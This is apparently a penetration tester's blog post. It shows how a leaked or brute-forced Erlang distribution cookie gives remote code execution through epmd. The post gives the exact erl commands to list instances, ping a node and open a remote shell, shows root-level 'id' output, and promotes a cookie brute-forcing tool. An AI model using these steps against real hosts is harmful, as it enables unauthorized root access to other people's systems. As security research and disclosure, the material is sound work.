Erlang distribution RCE and a cookie bruteforcer

In one of the last pentests we’ve found an epmd (Erlang port mapper daemon) listening on a target system (tcp/4369). It is used to coordinate distributed erlang instances, but also can lead to a RCE, given one knows the so called “authentication cookie”. Usually, this cookie is located in ~/.erlang.cookie and is generated by erlang at the first start. If not modified or set manually it is a random string [A:Z] with a length of 20 characters. If an attacker gains this cookie, a RCE is quite easy – as I like to describe below.

greif@baldr ~ $ erl -cookie YOURLEAKEDCOOKIE -name test2
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

First, we have to start an erlang shell with the leaked cookie and a (network-)name [this enables the distribution feature].

(test2@baldr.local)1> net_adm:names('target.fqdn').

On the second step, we have to get a list of registered erlang instances and the ports they are listening on from the remote epmd [replace ‘target.fqdn’ with the targets FQDN]

(test2@baldr.local)2> net_adm:ping('test@target.fqdn').

To test connectivity we can ping the remote erlang instance [the pong here shows that your cookie is correct].

greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

At last, we can start an erlang shell on the remote system.

"uid=0(root) gid=0(root) groups=0(root)\n"

… aaaand there goes the RCE.

If you don’t manage to leak the cookie, no worries, erlang will not check for any bruteforce attempt (;. For an automated approach I quickly wrote a small tool which you can find here. For now you will need to change the IP and Port of the remote erlang instance in the last line of src/epmd_bf.erl and run ‘make test’ to start the brute force.

Cheers and happy RCE


P.S.: [A:Z]^^20 tries still take some time so be patient